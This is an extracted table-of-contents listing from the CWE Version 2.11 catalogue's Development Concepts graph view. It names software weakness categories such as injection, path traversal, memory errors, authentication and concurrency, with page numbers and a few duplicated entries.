  - CWE-82: Improper Neutralization of Script in Attributes of IMG Tags in a Web Page (p. 146)
- CWE-84: Improper Neutralization of Encoded URI Schemes in a Web Page (p. 149)
- CWE-85: Doubled Character XSS Manipulations (p. 151)
- CWE-86: Improper Neutralization of Invalid Characters in Identifiers in Web Pages (p. 152)
- CWE-87: Improper Neutralization of Alternate XSS Syntax (p. 153)
- CWE-91: XML Injection (aka Blind XPath Injection) (p. 170)
- CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection') (p. 1000)
- CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') (p. 1011)
- CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection') (p. 172)
CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection') (p. 177)
  CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page (p. 183)
CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') (p. 184)
CWE-93: Improper Neutralization of Special Elements in Data Query Logic (p. 1373)
CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection') (p. 181)
  CWE-641: Improper Restriction of Names for Files and Other Resources (p. 993)
CWE-914: Improper Control of Dynamically-Identified Variables (p. 1341)
CWE-621: Variable Extraction Error (p. 971)
CWE-627: Dynamic Variable Evaluation (p. 977)
CWE-838: Inappropriate Encoding for Output Context (p. 1281)
CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer (p. 226)
CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow') (p. 234)
  CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer (p. 1207)
CWE-123: Write-what-where Condition (p. 248)
CWE-125: Out-of-bounds Read (p. 253)
  CWE-126: Buffer Over-read (p. 254)
  CWE-127: Buffer Under-read (p. 256)
CWE-130: Improper Handling of Length Parameter Inconsistency (p. 266)
CWE-131: Incorrect Calculation of Buffer Size (p. 269)
CWE-786: Access of Memory Location Before Start of Buffer (p. 1209)
  CWE-124: Buffer Underwrite ('Buffer Underflow') (p. 250)
CWE-127: Buffer Under-read (p. 256)
CWE-787: Out-of-bounds Write (p. 1211)
  CWE-121: Stack-based Buffer Overflow (p. 242)
  CWE-122: Heap-based Buffer Overflow (p. 245)
CWE-124: Buffer Underwrite ('Buffer Underflow') (p. 250)
CWE-788: Access of Memory Location After End of Buffer (p. 1212)
  CWE-121: Stack-based Buffer Overflow (p. 242)
  CWE-122: Heap-based Buffer Overflow (p. 245)
CWE-126: Buffer Over-read (p. 254)
CWE-805: Buffer Access with Incorrect Length Value (p. 1234)
  CWE-806: Buffer Access Using Size of Source Buffer (p. 1239)
CWE-822: Untrusted Pointer Dereference (p. 1254)
CWE-823: Use of Out-of-range Pointer Offset (p. 1256)
CWE-824: Access of Uninitialized Pointer (p. 1257)
CWE-825: Expired Pointer Dereference (p. 1259)
CWE-680: Integer Overflow to Buffer Overflow (p. 1059)
CWE-20: Improper Input Validation (p. 18)
  CWE-100: Technology-Specific Input Validation Problems (p. 192)
    CWE-101: Struts Validation Problems (p. 193)
    CWE-102: Struts: Duplicate Validation Forms (p. 193)
    CWE-103: Struts: Incomplete validate() Method Definition (p. 194)
Appendix A - Graph Views: CWE-699: Development Concepts

CWE Version 2.11

CWE-104: Struts: Form Bean Does Not Extend Validation Class (p. 196)
CWE-105: Struts: Form Field Without Validator (p. 198)
CWE-106: Struts: Plug-in Framework not in Use (p. 201)
CWE-107: Struts: Unused Validation Form (p. 202)
CWE-108: Struts: Unvalidated Action Form (p. 204)
CWE-109: Struts: Validator Turned Off (p. 205)
CWE-110: Struts: Validator Without Form Field (p. 206)
CWE-608: Struts: Non-private Field in ActionForm Class (p. 956)
CWE-112: Missing XML Validation (p. 210)
CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework (p. 893)

CWE-21: Pathname Traversal and Equivalence Errors (p. 29)
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ("Path Traversal") (p. 30)
CWE-23: Relative Path Traversal (p. 40)
  CWE-24: Path Traversal: `filedir` (p. 45)
  CWE-25: Path Traversal: `filedir` (p. 46)
  CWE-26: Path Traversal: `dir/filename` (p. 48)
  CWE-27: Path Traversal: `dir/file/filename` (p. 49)
  CWE-28: Path Traversal: `\file/\filename` (p. 51)
  CWE-29: Path Traversal: `\filename` (p. 52)
  CWE-30: Path Traversal: `\dir/filename` (p. 54)
  CWE-31: Path Traversal: `dir/\filename` (p. 55)
  CWE-32: Path Traversal: `...` (Triple Dot) (p. 57)
  CWE-33: Path Traversal: `...` (Multiple Dot) (p. 58)
  CWE-34: Path Traversal: `.../` (p. 60)
  CWE-35: Path Traversal: `.../.../` (p. 62)
CWE-36: Absolute Path Traversal (p. 64)
  CWE-37: Path Traversal: `absolute/pathname/here` (p. 67)
  CWE-38: Path Traversal: `absolute/pathname\here` (p. 68)
  CWE-39: Path Traversal: `C:\dirname` (p. 70)
  CWE-40: Path Traversal: `\UNC\share\name` (Windows UNC Share) (p. 72)
CWE-41: Improper Resolution of Path Equivalence (p. 73)
  CWE-42: Path Equivalence: `filename.*` (Trailing Dot) (p. 78)
  CWE-43: Path Equivalence: `filename...` (Multiple Trailing Dot) (p. 79)
  CWE-44: Path Equivalence: `file\name` (Internal Dot) (p. 79)
  CWE-45: Path Equivalence: `file...name` (Multiple Internal Dot) (p. 80)
  CWE-46: Path Equivalence: `filename` (Trailing Space) (p. 80)
  CWE-47: Path Equivalence: `filename` (Leading Space) (p. 81)
  CWE-48: Path Equivalence: `file name` (Internal Whitespace) (p. 82)
  CWE-49: Path Equivalence: `filename` (Trailing Slash) (p. 83)
  CWE-50: Path Equivalence: `//multiple/leading/slash` (p. 83)
  CWE-51: Path Equivalence: `multiple/internal/slash` (p. 84)
  CWE-52: Path Equivalence: `multiple/trailing/slash` (p. 85)
  CWE-53: Path Equivalence: `multiple\internal\backslash` (p. 86)
  CWE-54: Path Equivalence: `filedir` (Trailing Backslash) (p. 86)
  CWE-55: Path Equivalence: `./` (Single Dot Directory) (p. 87)
  CWE-56: Path Equivalence: `filedir*` (Wildcard) (p. 88)
  CWE-57: Path Equivalence: `fakedir/realdir/filename` (p. 89)
  CWE-58: Path Equivalence: Windows 8.3 Filename (p. 90)
CWE-59: Improper Link Resolution Before File Access ("Link Following") (p. 91)
  CWE-60: UNIX Path Link Problems (p. 94)
    CWE-62: UNIX Hard Link (p. 96)
    CWE-61: UNIX Symbolic Link (Symlink) Following (p. 95)
      CWE-275: Permission Issues (p. 489)
    CWE-216: Containment Errors (Container Errors) (p. 411)
Appendix A - Graph Views: CWE-699: Development Concepts

CWE Version 2.11

CWE-160: Improper Neutralization of Leading Special Elements (p. 316)
- CWE-161: Improper Neutralization of Multiple Leading Special Elements (p. 317)

CWE-162: Improper Neutralization of Trailing Special Elements (p. 319)
- CWE-163: Improper Neutralization of Multiple Trailing Special Elements (p. 320)

CWE-164: Improper Neutralization of Internal Special Elements (p. 321)
- CWE-165: Improper Neutralization of Multiple Internal Special Elements (p. 323)

CWE-166: Improper Handling of Missing Special Element (p. 324)

CWE-167: Improper Handling of Additional Special Element (p. 325)

CWE-168: Improper Handling of Inconsistent Special Elements (p. 326)

CWE-790: Improper Filtering of Special Elements (p. 1217)
- CWE-791: Incomplete Filtering of Special Elements (p. 1217)
  - CWE-792: Only Filtering One Instance of Special Elements (p. 1218)
  - CWE-793: Incomplete Filtering of One or More Instances of Special Elements (p. 1219)
  - CWE-794: Inconsistent Filtering of Multiple Instances of Special Elements (p. 1220)
  - CWE-795: Only Filtering Special Elements at a Specified Location (p. 1221)
  - CWE-796: Only Filtering Special Elements Relative to a Marker (p. 1222)
  - CWE-797: Only Filtering Special Elements at an Absolute Position (p. 1222)

CWE-75: Failure to Sanitize Special Elements into a Different Plane (p. 116)
- CWE-76: Improper Neutralization of Equivalent Special Elements (p. 116)

CWE-77: Improper Neutralization of Special Elements used in a Command (Command Injection) (p. 117)
- CWE-624: Executable Regular Expression Error (p. 974)
- CWE-78: Improper Neutralization of Special Elements used in an OS Command (OS Command Injection) (p. 121)
- CWE-88: Argument Injection or Modification (p. 155)
- CWE-917: Improper Neutralization of Special Elements used in an Expression Language Statement (Expression Language Injection) (p. 1348)

CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-site Scripting) (p. 131)
- CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS) (p. 142)
- CWE-81: Improper Neutralization of Script in an Error Message Web Page (p. 144)
- CWE-83: Improper Neutralization of Script in Attributes in a Web Page (p. 147)
  - CWE-82: Improper Neutralization of Script in Attributes of IMG Tags in a Web Page (p. 146)
- CWE-84: Improper Neutralization of Encoded URI Schemes in a Web Page (p. 149)
- CWE-85: Doubled Character XSS Manipulations (p. 151)
- CWE-86: Improper Neutralization of Invalid Characters in Identifiers in Web Pages (p. 152)
- CWE-87: Improper Neutralization of Alternate XSS Syntax (p. 153)

CWE-91: XML Injection (aka Blind XPath Injection) (p. 170)
- CWE-643: Improper Neutralization of Data within XPath Expressions (XPath Injection) (p. 1000)
- CWE-652: Improper Neutralization of Data within XQuery Expressions (XQuery Injection) (p. 1011)

CWE-93: Improper Neutralization of CRLF Sequences (CRLF Injection) (p. 172)

CWE-94: Improper Control of Generation of Code (Code Injection) (p. 173)
- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code (Eval Injection) (p. 177)
Appendix A - Graph Views: CWE-699: Development Concepts

CWE Version 2.11

- CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page (p. 183)
- CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') (p. 184)
- CWE-943: Improper Neutralization of Special Elements in Data Query Logic (p. 1373)
- CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection') (p. 1000)
- CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection') (p. 1011)
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (p. 159)
- CWE-564: SQL Injection: Hibernate (p. 902)
- CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection') (p. 168)
- CWE-99: Improper Control of Resource Identifiers ('Resource Injection') (p. 190)
- CWE-641: Improper Restriction of Names for Files and Other Resources (p. 993)
- CWE-694: Use of Multiple Resources with Duplicate Identifier (p. 1078)
- CWE-914: Improper Control of Dynamically-Identified Variables (p. 1341)
- CWE-621: Variable Extraction Error (p. 971)
- CWE-627: Dynamic Variable Evaluation (p. 977)
- CWE-781: Improper Address Validation in IOCTL with METHOD_NEITHER I/O Control Code (p. 1200)
- CWE-785: Use of Path Manipulation Function without Maximum-sized Buffer (p. 1207)
- CWE-692: Incomplete Blacklist to Cross-Site Scripting (p. 1076)
- CWE-471: Modification of Assumed-Immutable Data (MAID) (p. 793)
- CWE-472: External Control of Assumed-Immutable Web Parameter (p. 795)
- CWE-473: PHP External Variable Modification (p. 798)
- CWE-607: Public Static Final Field References Mutable Object (p. 955)
- CWE-254: Security Features (p. 453)
- CWE-255: Credentials Management (p. 454)
- CWE-261: Weak Cryptography for Passwords (p. 465)
- CWE-262: Not Using Password Aging (p. 467)
- CWE-263: Password Aging with Long Expiration (p. 468)
- CWE-521: Weak Password Requirements (p. 864)
- CWE-522: Insufficiently Protected Credentials (p. 865)
  - CWE-256: Plaintext Storage of a Password (p. 455)
  - CWE-257: Storing Passwords in a Recoverable Format (p. 457)
  - CWE-260: Password in Configuration File (p. 464)
  - CWE-258: Empty Password in Configuration File (p. 459)
- CWE-523: Unprotected Transport of Credentials (p. 868)
- CWE-549: Missing Password Field Masking (p. 890)
- CWE-620: Unverified Password Change (p. 969)
- CWE-640: Weak Password Recovery Mechanism for Forgotten Password (p. 991)
- CWE-798: Use of Hard-coded Credentials (p. 1223)
  - CWE-259: Use of Hard-coded Password (p. 460)
- CWE-321: Use of Hard-coded Cryptographic Key (p. 566)
- CWE-264: Permissions, Privileges, and Access Controls (p. 469)
  - CWE-265: Privilege / Sandbox Issues (p. 470)
    - CWE-250: Execution with Unnecessary Privileges (p. 441)
    - CWE-266: Incorrect Privilege Assignment (p. 472)
    - CWE-267: Privilege Defined With Unsafe Actions (p. 474)
    - CWE-623: Unsafe ActiveX Control Marked Safe For Scripting (p. 973)
- CWE-268: Privilege Chaining (p. 476)
- CWE-269: Improper Privilege Management (p. 478)
  - CWE-270: Privilege Context Switching Error (p. 480)
- CWE-271: Privilege Dropping / Lowering Errors (p. 481)
- CWE-272: Least Privilege Violation (p. 483)
Appendix A - Graph Views: CWE-699: Development Concepts

- CWE-273: Improper Check for Dropped Privileges (p. 486)
- CWE-274: Improper Handling of Insufficient Privileges (p. 488)
- CWE-610: Externally Controlled Reference to a Resource in Another Sphere (p. 959)
- CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 755)
- CWE-918: Server-Side Request Forgery (SSRF) (p. 1349)
- CWE-648: Incorrect Use of Privileged APIs (p. 1006)
- CWE-275: Permission Issues (p. 489)
- CWE-276: Incorrect Default Permissions (p. 491)
- CWE-277: Insecure Inherited Permissions (p. 493)
- CWE-278: Insecure Preserved Inherited Permissions (p. 494)
- CWE-279: Incorrect Execution-Assigned Permissions (p. 495)
- CWE-280: Improper Handling of Insufficient Permissions or Privileges (p. 496)
- CWE-281: Improper Preservation of Permissions (p. 497)
- CWE-618: Exposed Unsafe ActiveX Method (p. 968)
- CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1124)
- CWE-689: Permission Race Condition During Resource Copy (p. 1072)
- CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition') (p. 628)
- CWE-732: Incorrect Permission Assignment for Critical Resource (p. 1124)
- CWE-282: Improper Ownership Management (p. 498)
- CWE-283: Unverified Ownership (p. 499)
- CWE-708: Incorrect Ownership Assignment (p. 1111)
- CWE-284: Improper Access Control (p. 500)
- CWE-269: Improper Privilege Management (p. 478)
- CWE-270: Privilege Context Switching Error (p. 480)
- CWE-285: Improper Authorization (p. 502)
- CWE-862: Missing Authorization (p. 1303)
- CWE-425: Direct Request ('Forced Browsing') (p. 729)
- CWE-639: Authorization Bypass Through User-Controlled Key (p. 990)
- CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key (p. 905)
- CWE-939: Improper Authorization in Handler for Custom URL Scheme (p. 1366)
- CWE-863: Incorrect Authorization (p. 1308)
- CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions (p. 1004)
- CWE-804: Guessable CAPTCHA (p. 1233)
- CWE-926: Improper Export of Android Application Components (p. 1356)
- CWE-927: Use of Implicit Intent for Sensitive Communication (p. 1359)
- CWE-286: Incorrect User Management (p. 508)
- CWE-842: Placement of User into Incorrect Group (p. 1290)
- CWE-287: Improper Authentication (p. 508)
- CWE-288: Authentication Bypass Using an Alternate Path or Channel (p. 513)
- CWE-425: Direct Request ('Forced Browsing') (p. 729)
- CWE-289: Authentication Bypass by Alternate Name (p. 514)
- CWE-290: Authentication Bypass by Spoofing (p. 516)
- CWE-291: Reliance on IP Address for Authentication (p. 518)
- CWE-293: Using Referer Field for Authentication (p. 520)
- CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action (p. 609)
- CWE-294: Authentication Bypass by Capture-replay (p. 521)
- CWE-301: Reflection Attack in an Authentication Protocol (p. 533)
- CWE-302: Authentication Bypass by Assumed-Immutable Data (p. 535)
- CWE-303: Incorrect Implementation of Authentication Algorithm (p. 536)
- CWE-304: Missing Critical Step in Authentication (p. 536)
- CWE-305: Authentication Bypass by Primary Weakness (p. 537)
Appendix A - Graph Views: CWE-699: Development Concepts

CWE-306: Missing Authentication for Critical Function (p. 538)
CWE-307: Improper Restriction of Excessive Authentication Attempts (p. 542)
CWE-308: Use of Single-factor Authentication (p. 545)
CWE-309: Use of Password System for Primary Authentication (p. 546)
CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created (p. 935)
CWE-603: Use of Client-Side Authentication (p. 952)
CWE-613: Insufficient Session Expiration (p. 962)
CWE-620: Unverified Password Change (p. 969)
CWE-645: Overly Restrictive Account Lockout Mechanism (p. 1002)
CWE-804: Guessable CAPTCHA (p. 1233)
CWE-836: Use of Password Hash Instead of Password for Authentication (p. 1279)
CWE-384: Session Fixation (p. 665)
CWE-346: Origin Validation Error (p. 603)
CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 755)
CWE-472: External Control of Assumed-Immutable Web Parameter (p. 795)
CWE-346: Origin Validation Error (p. 603)
CWE-782: Exposed IOCTL with Insufficient Access Control (p. 1202)
CWE-923: Improper Restriction of Communication Channel to Intended Endpoints (p. 1354)
CWE-300: Channel Accessible by Non-Endpoint ('Man-in-the-Middle') (p. 531)
CWE-925: Improper Verification of Intent by Broadcast Receiver (p. 1355)
CWE-940: Improper Verification of Source of a Communication Channel (p. 1368)
CWE-941: Incorrectly Specified Destination in a Communication Channel (p. 1370)
CWE-942: Overly Permissive Cross-domain Whitelist (p. 1371)
CWE-310: Cryptographic Issues (p. 548)
CWE-320: Key Management Errors (p. 565)
CWE-321: Use of Hard-coded Cryptographic Key (p. 566)
CWE-322: Key Exchange without Entity Authentication (p. 568)
CWE-323: Reusing a Nonce, Key Pair in Encryption (p. 569)
CWE-324: Use of a Key Past its Expiration Date (p. 570)
CWE-295: Improper Certificate Validation (p. 522)
CWE-296: Improper Following of a Certificate’s Chain of Trust (p. 525)
CWE-297: Improper Validation of Certificate with Host Mismatch (p. 526)
CWE-298: Improper Validation of Certificate Expiration (p. 528)
CWE-299: Improper Check for Certificate Revocation (p. 530)
CWE-370: Missing Check for Certificate Revocation after Initial Check (p. 650)
CWE-599: Missing Validation of OpenSSL Certificate (p. 942)
CWE-311: Missing Encryption of Sensitive Data (p. 549)
CWE-312: Cleartext Storage of Sensitive Information (p. 555)
CWE-313: Cleartext Storage in a File or on Disk (p. 557)
CWE-314: Cleartext Storage in the Registry (p. 559)
CWE-315: Cleartext Storage of Sensitive Information in a Cookie (p. 559)
CWE-316: Cleartext Storage of Sensitive Information in Memory (p. 560)
CWE-317: Cleartext Storage of Sensitive Information in GUI (p. 561)
CWE-318: Cleartext Storage of Sensitive Information in Executable (p. 562)
CWE-319: Cleartext Transmission of Sensitive Information (p. 563)
CWE-614: Sensitive Cookie in HTTPS Session Without ‘Secure’ Attribute (p. 963)
CWE-325: Missing Required Cryptographic Step (p. 571)
CWE-326: Inadequate Encryption Strength (p. 573)
CWE-261: Weak Cryptography for Passwords (p. 465)
CWE-327: Use of a Broken or Risky Cryptographic Algorithm (p. 574)
CWE-916: Use of Password Hash With Insufficient Computational Effort (p. 1345)
CWE-759: Use of a One-Way Hash without a Salt (p. 1156)
CWE-760: Use of a One-Way Hash with a Predictable Salt (p. 1160)
CWE-328: Reversible One-Way Hash (p. 579)
Appendix A - Graph Views: CWE-699: Development Concepts

- CWE-329: Not Using a Random IV with CBC Mode (p. 581)
- CWE-347: Improper Verification of Cryptographic Signature (p. 606)
- CWE-780: Use of RSA Algorithm without OAEP (p. 1199)
- CWE-260: Password in Configuration File (p. 464)
- CWE-258: Empty Password in Configuration File (p. 459)
- CWE-330: Use of Insufficiently Random Values (p. 582)
  - CWE-331: Insufficient Entropy (p. 587)
  - CWE-332: Insufficient Entropy in PRNG (p. 588)
  - CWE-333: Improper Handling of Insufficient Entropy in TRNG (p. 589)
  - CWE-334: Small Space of Random Values (p. 590)
  - CWE-335: PRNG Seed Error (p. 592)
  - CWE-336: Same Seed in PRNG (p. 593)
  - CWE-337: Predictable Seed in PRNG (p. 594)
  - CWE-339: Small Seed Space in PRNG (p. 596)
- CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) (p. 595)
- CWE-340: Predictability Problems (p. 597)
- CWE-341: Predictable from Observable State (p. 597)
- CWE-342: Predictable Exact Value from Previous Values (p. 599)
- CWE-343: Predictable Value Range from Previous Values (p. 600)
- CWE-344: Use of Invariant Value in Dynamically Changing Context (p. 601)
- CWE-804: Guessable CAPTCHA (p. 1233)
- CWE-345: Insufficient Verification of Data Authenticity (p. 601)
- CWE-346: Origin Validation Error (p. 603)
- CWE-347: Improper Verification of Cryptographic Signature (p. 606)
- CWE-348: Use of Less Trusted Source (p. 607)
- CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data (p. 608)
- CWE-351: Insufficient Type Distinction (p. 611)
- CWE-353: Missing Support for Integrity Check (p. 617)
- CWE-354: Improper Validation of Integrity Check Value (p. 619)
- CWE-360: Trust of System Event Data (p. 626)
- CWE-646: Reliance on File Name or Extension of Externally-Supplied File (p. 1003)
- CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking (p. 1008)
- CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel (p. 1354)
- CWE-352: Cross-Site Request Forgery (CSRF) (p. 612)
- CWE-346: Origin Validation Error (p. 603)
- CWE-441: Unintended Proxy or Intermediary ('Confused Deputy') (p. 755)
- CWE-613: Insufficient Session Expiration (p. 962)
- CWE-642: External Control of Critical State Data (p. 995)
- CWE-358: Improperly Implemented Security Check for Standard (p. 622)
- CWE-359: Exposure of Private Information ('Privacy Violation') (p. 623)
- CWE-565: Reliance on Cookies without Validation and Integrity Checking (p. 903)
- CWE-784: Reliance on Cookies without Validation and Integrity Checking in a Security Decision (p. 1205)
- CWE-602: Client-Side Enforcement of Server-Side Security (p. 949)
- CWE-653: Insufficient Compartmentalization (p. 1012)
- CWE-654: Reliance on a Single Factor in a Security Decision (p. 1014)
- CWE-655: Insufficient Psychological Acceptability (p. 1016)
- CWE-656: Reliance on Security Through Obscurity (p. 1017)
- CWE-693: Protection Mechanism Failure (p. 1077)
- CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade') (p. 1155)
- CWE-778: Insufficient Logging (p. 1196)
- CWE-779: Logging of Excessive Data (p. 1198)
CWE-807: Reliance on Untrusted Inputs in a Security Decision (p. 1243)
CWE-355: User Interface Security Issues (p. 620)
CWE-317: Cleartext Storage of Sensitive Information in GUI (p. 561)
CWE-356: Product UI does not Warn User of Unsafe Actions (p. 621)
CWE-357: Insufficient UI Warning of Dangerous Operations (p. 622)
CWE-446: UI Discrepancy for Security Feature (p. 761)
  - CWE-447: Unimplemented or Unsupported Feature in UI (p. 762)
  - CWE-448: Obsolete Feature in UI (p. 763)
  - CWE-449: The UI Performs the Wrong Action (p. 763)
CWE-450: Multiple Interpretations of UI Input (p. 764)
CWE-451: User Interface (UI) Misrepresentation of Critical Information (p. 765)
CWE-549: Missing Password Field Masking (p. 890)
CWE-361: Time and State (p. 627)
CWE-371: State Issues (p. 652)
  - CWE-372: Incomplete Internal State Distinction (p. 652)
  - CWE-374: Passing Mutable Objects to an Untrusted Method (p. 653)
  - CWE-375: Returning a Mutable Object to an Untrusted Caller (p. 655)
  - CWE-585: Empty Synchronized Block (p. 927)
  - CWE-642: External Control of Critical State Data (p. 995)
    - CWE-15: External Control of System or Configuration Setting (p. 14)
CWE-376: Temporary File Issues (p. 656)
  - CWE-377: Insecure Temporary File (p. 657)
  - CWE-378: Creation of Temporary File With Insecure Permissions (p. 659)
  - CWE-379: Creation of Temporary File in Directory with Incorrect Permissions (p. 660)
CWE-380: Technology-Specific Time and State Issues (p. 662)
  - CWE-381: J2EE Time and State Issues (p. 662)
    - CWE-382: J2EE Bad Practices: Use of System.exit() (p. 662)
    - CWE-383: J2EE Bad Practices: Direct Use of Threads (p. 664)
    - CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context (p. 885)
CWE-387: Signal Errors (p. 670)
  - CWE-364: Signal Handler Race Condition (p. 636)
    - CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations (p. 742)
    - CWE-828: Signal Handler with Functionality that is not Asynchronous-Safe (p. 1263)
      - CWE-479: Signal Handler Use of a Non-reentrant Function (p. 809)
      - CWE-831: Signal Handler Function Associated with Multiple Signals (p. 1272)
CWE-557: Concurrency Issues (p. 895)
  - CWE-366: Race Condition within a Thread (p. 641)
  - CWE-558: Use of getlogin() in Multithreaded Application (p. 895)
  - CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context (p. 906)
  - CWE-572: Call to Thread run() instead of start() (p. 912)
CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ("Race Condition") (p. 628)
  - CWE-364: Signal Handler Race Condition (p. 636)
    - CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations (p. 742)
    - CWE-828: Signal Handler with Functionality that is not Asynchronous-Safe (p. 1263)
      - CWE-479: Signal Handler Use of a Non-reentrant Function (p. 809)
      - CWE-831: Signal Handler Function Associated with Multiple Signals (p. 1272)
  - CWE-366: Race Condition within a Thread (p. 641)
  - CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition (p. 643)
    - CWE-363: Race Condition Enabling Link Following (p. 635)
  - CWE-365: Race Condition in Switch (p. 640)
  - CWE-368: Context Switching Race Condition (p. 647)
  - CWE-421: Race Condition During Access to Alternate Channel (p. 726)
  - CWE-662: Improper Synchronization (p. 1026)
    - CWE-667: Improper Locking (p. 1034)
Appendix A - Graph Views: CWE-699: Development Concepts

CWE-764: Multiple Locks of a Critical Resource (p. 1171)
CWE-765: Multiple Unlocks of a Critical Resource (p. 1172)
CWE-832: Unlock of a Resource that is not Locked (p. 1274)
CWE-833: Deadlock (p. 1275)

CWE-820: Missing Synchronization (p. 1252)
CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context (p. 885)
CWE-821: Incorrect Synchronization (p. 1253)
CWE-572: Call to Thread run() instead of start() (p. 912)
CWE-574: EJB Bad Practices: Use of Synchronization Primitives (p. 914)

CWE-385: Covert Timing Channel (p. 667)
CWE-386: Symbolic Name not Mapping to Correct Object (p. 668)
CWE-412: Unrestricted Externally Accessible Lock (p. 712)
CWE-609: Double-Checked Locking (p. 957)
CWE-613: Insufficient Session Expiration (p. 962)
CWE-662: Improper Synchronization (p. 1026)
CWE-667: Improper Locking (p. 1034)
CWE-764: Multiple Locks of a Critical Resource (p. 1171)
CWE-765: Multiple Unlocks of a Critical Resource (p. 1172)
CWE-832: Unlock of a Resource that is not Locked (p. 1274)
CWE-833: Deadlock (p. 1275)

CWE-820: Missing Synchronization (p. 1252)
CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context (p. 885)
CWE-821: Incorrect Synchronization (p. 1253)
CWE-572: Call to Thread run() instead of start() (p. 912)
CWE-574: EJB Bad Practices: Use of Synchronization Primitives (p. 914)

CWE-663: Use of a Non-reentrant Function in a Concurrent Context (p. 1027)
CWE-479: Signal Handler Use of a Non-reentrant Function (p. 809)
CWE-664: Improper Control of a Resource Through its Lifetime (p. 1028)
CWE-704: Incorrect Type Conversion or Cast (p. 1107)
CWE-843: Access of Resource Using Incompatible Type ("Type Confusion") (p. 1291)
CWE-706: Use of Incorrectly-Resolved Name or Reference (p. 1109)
CWE-922: Insecure Storage of Sensitive Information (p. 1353)
CWE-312: Cleartext Storage of Sensitive Information (p. 555)
CWE-313: Cleartext Storage in a File or on Disk (p. 557)
CWE-314: Cleartext Storage in the Registry (p. 559)
CWE-315: Cleartext Storage of Sensitive Information in a Cookie (p. 559)
CWE-316: Cleartext Storage of Sensitive Information in Memory (p. 560)
CWE-317: Cleartext Storage of Sensitive Information in GUI (p. 561)
CWE-318: Cleartext Storage of Sensitive Information in Executable (p. 562)
CWE-921: Storage of Sensitive Data in a Mechanism without Access Control (p. 1352)

CWE-668: Exposure of Resource to Wrong Sphere (p. 1037)
CWE-552: Files or Directories Accessible to External Parties (p. 892)
CWE-527: Exposure of CVS Repository to an Unauthorized Control Sphere (p. 871)
CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere (p. 872)
CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere (p. 873)
CWE-532: Information Exposure Through Log Files (p. 875)
CWE-533: Information Exposure Through Server Log Files (p. 876)
CWE-534: Information Exposure Through Debug Log Files (p. 877)
CWE-542: Information Exposure Through Cleanup Log Files (p. 884)
CWE-540: Information Exposure Through Source Code (p. 882)
CWE-531: Information Exposure Through Test Code (p. 874)
CWE-541: Information Exposure Through Include Source Code (p. 883)
CWE-615: Information Exposure Through Comments (p. 964)
CWE Version 2.11
Appendix A - Graph Views: CWE-699: Development Concepts

- CWE-920: Improper Restriction of Power Consumption (p. 1351)
- CWE-401: Improper Release of Memory Before Removing Last Reference ('Memory Leak') (p. 695)
- CWE-402: Transmission of Private Resources into a New Sphere ('Resource Leak') (p. 698)
- CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak') (p. 698)
- CWE-619: Dangling Database Cursor ('Cursor Injection') (p. 968)
- CWE-404: Improper Resource Shutdown or Release (p. 700)
- CWE-619: Dangling Database Cursor ('Cursor Injection') (p. 968)
- CWE-772: Missing Release of Resource after Effective Lifetime (p. 1186)
- CWE-405: Asymmetric Resource Consumption (Amplification) (p. 704)
- CWE-406: Insufficient Control of Network Message Volume (Network Amplification) (p. 705)
- CWE-407: Algorithmic Complexity (p. 707)
- CWE-408: Incorrect Behavior Order: Early Amplification (p. 708)
- CWE-409: Improper Handling of Highly Compressed Data (Data Amplification) (p. 709)
- CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion') (p. 1193)
- CWE-410: Insufficient Resource Pool (p. 710)
- CWE-415: Double Free (p. 718)
- CWE-416: Use After Free (p. 720)
- CWE-568: finalize() Method Without super.finalize() (p. 907)
- CWE-590: Free of Memory not on the Heap (p. 932)
- CWE-761: Free of Pointer not at Start of Buffer (p. 1162)
- CWE-762: Mismatched Memory Management Routines (p. 1165)
- CWE-763: Release of Invalid Pointer or Reference (p. 1167)
- CWE-417: Channel and Path Errors (p. 723)
